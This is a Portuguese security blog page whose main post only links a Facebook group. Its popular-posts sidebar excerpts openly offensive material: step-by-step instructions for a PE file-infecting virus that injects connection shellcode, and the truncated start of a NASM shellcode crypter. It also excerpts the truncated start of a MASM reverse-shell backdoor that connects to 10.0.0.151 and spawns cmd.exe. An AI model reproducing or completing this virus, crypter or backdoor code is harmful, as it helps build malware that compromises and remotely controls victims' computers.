C0D3 R3D - CODE RED : Esse é um blog para fins de estudos Educacionais em Segurança da informação.

Pesquisar este blog

[GRUPO] - FACEBOOK

em março 13, 2024

Gerar link
Facebook
Twitter
Pinterest
E-mail
Outros aplicativos

https://web.facebook.com/groups/389860710190616

FACEBOOK

Gerar link
Facebook
Twitter
Pinterest
E-mail
Outros aplicativos

Comentários

Postar um comentário

Postagens mais visitadas

Em desenvolvimento vírus basico em Assembly 64Bits.

Vírus Básico: Não começei ainda. 1. Copiar o arquivo PE do programa alvo para um buffer. Usando o Buffer: 2. fazer cálculos para alocar e escrever um seção e o código do vírus que será um shellcode de conexão. 3. Reestruturar os endereços das seções do programa alvo. 4. Salvar os 5 primeiros bytes em um buffer, e No começo do código alterar para pular para seção que você escreveu, que estará a injeção do código, ou a execução do mesmo em uma thread. 5. Depois da execução do vírus, no fim da seção do código escrever os 5 bytes salvos e pular(JMP) para o inicio do programa Original normalmente. 6. Salve o buffer como arquivo binário.

[ASSEMBLY] - Shellcode-Runtime-Crypter X64 in NASM

# Shellcode-runtime-crypter-AssemblyX64 In Nasm X64, In Progress... Grave os OPCODES do seu shellcode em um editor hex como o "HxD", e salva, depois passa o nome dele para programa T0.exe, obs: tem que estar no mesmo diretório o programa e o arquivo que ira passar, ou passa o caminho direto. Alguns programas tem que executar com privilégios administrativo. T0.asm: ;*************** ;* By: Teuzero * ;*************** [BITS 64] global WinMain section . bss TamArqProgram resq 1 TamArqTarget resq 1 bufferFileName resb 120 section .data Buffer times 80000 db 0 section . text WinMain: Start: ;*************** ;**** START **** ;*************** ;* By: Teuzero * ;*************** add rsp , 0xfffffffffffffdf8 ; Obtem o endereço base do kernel32.dll call Locate_kernel32 call IAT call FinFunctionGe

[ASSEMBLY] - Reverse Connection - MASM X86

;[Compile usando WinAsm - MASM] ;*************** ;* By: Teuzero * ;*************** . 386 .MODEL FLAT , STDCALL include windows . inc include kernel32 . inc include user32 . inc include Ws2_32 . inc include msvcrt . inc includelib msvcrt . lib includelib kernel32 . lib includelib user32 . lib includelib Ws2_32 . lib .data startupSuccessState db 0 socketCreationState db 0 ipAddress db "10.0.0.151" , 0 , 0 sockAddr sockaddr_in <?> inetAddr db ? sock SOCKET ? wsaData WSADATA <?> host hostent <?> id dw 1 th HANDLE ? file_handle HANDLE ? theProcess STARTUPINFO <> info_proc PROCESS_INFORMATION <> cmd db "cmd.exe" , 0 , 0 , 13h , 10h sock2 HANDLE ? .code start: call ThreadBackDoor ThreadBackDoor: mov id , 01h push OFFSET i

Tecnologia do Blogger